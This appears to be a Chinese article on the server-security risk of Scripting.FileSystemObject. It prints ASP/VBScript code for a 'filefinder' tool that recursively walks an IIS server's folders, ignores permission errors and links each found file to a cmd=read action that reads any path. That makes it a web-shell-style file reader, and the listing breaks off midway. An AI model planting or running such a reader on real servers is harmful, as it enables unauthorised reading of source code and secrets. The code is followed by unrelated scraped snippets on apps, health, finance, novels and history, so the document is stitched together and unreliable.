scripting.filesystemobject 对象是由 scrrun.dll 提供的许多供 vbscript/jscript 控制的 com 对象之一。scripting.filesystemobject 提供了非常便利的文本文件和文件目录的访问,但是同时也对 iis web 服务器数据安全造成了一定的威胁。
filefinder 的代码很简单,由3 个函数和 30 行左右的顺序代码构成。
最关键的是 findfiles 函数,通过对它的递归调用实现对某个目录的遍历,并且按照特定的文件扩展名来搜寻这些文件。
function findfiles(strstartfolder, strext)
dim n
dim othisfolder
dim ofolders
dim ofiles
dim ofolder
dim ofile
' 如果系统管理员对文件系统的权限进行细致的设置话,下面的代码就要出错
' 但是有些目录还是可以察看的,所以我们简单的把错误忽略过去
on error resume next
n = 0
response.write "<b>searching " & strstartfolder & "</b><br>"
set othisfolder = g_fs.getfolder(strstartfolder)
set ofiles = othisfolder.files
for each ofile in ofiles
' 如果是指定的文件扩展名,输出连接导向本身,但用不同的命令 cmd
' 在这里是 cmd=read,即读出指定物理路径的文本文件
if issuffix(ofile.path, strext) then
response.write "<a target=_blank href='ff.asp?cmd=read&path=" & server.htmlencode(ofile.path) & "'><font color='dodgerblue'>" & ofile.path & "</font></a><br>"
if err = 0 then
n = n + 1
end if
end if
next
set ofolders = othisfolder.subfolders
for each ofolder in ofolders
n = n + findfiles(ofolder.path, strext)
next
findfiles = n
end function
下面的代码是对 url 后面的参数进行分析:
' 读出各个参数的值
strcmd = ucase(request.querystring("cmd"))
strpath = request.querystring("path")
strext = request.querystring("ext")
brawdata = ucase(request.querystring("raw"))
' 默认搜索 .asp 文件
if strpath = "" then
strpath = "."
end if
if strext = "" then
strext = ".asp"
end if
' 根据不同的命令 cmd 执行不同的代码
编辑导读:在APP的整理架构中,动静系统是一个必不行少的成果模块,其焦点是辅佐用户实时相识种种动静,保障业务正常运行。本文作者动静中心的观念出发,团结58同城的案例,阐明总结了APP动静中心的设计思路...
孩子嗓子哑了, 别只会多喝热水。 小碗 /今日观点 小碗说: 最近很多妈妈在后台留言:孩子嗓子哑了,是不是上火了...还是怎么回事...这可怎么办好... 这天气,喉咙多少会有些不舒服,...
要说今天什么消息最刺眼! 那估计是所有app都像商量好了似的给我发 ”蚂蚁上市员工激励达1376.9亿“ ”蚂蚁上市员工人均可得826万“ ”人均可在杭州买一套283平房子“ 我我我酸了! 如...
在洗面奶上市之前,大部分人清洁面部皮肤,或者是身体皮肤都会使用药皂,或者是硫磺皂,这样的产品,因为它们在清洁皮肤的同时,也会改善我们皮肤的问题,今天我们要一起了解的就是,药皂的作用与功效有哪些?以及药...
一、《望九重烟火》作者:素光同文案:女主爬出十八层炼狱的天界复仇录三百年前的天界荣泽云海,了了是荣泽云君百般厌弃的与凡间女子生下的孽种。三。 《曾许诺》《曾许诺殇》《木槿花西月锦绣》万年大坑,慎入《凤...
司马迁是一位完美的史学家,他虽以简洁的文字写出了我国历史上第一部纪传体通史《史记》,但他并不是一个“完整”的人,因为他遭受了被视为奇耻大辱的宫刑。 司马迁受刑并不是个案或突发事件,而是普遍或长期存在...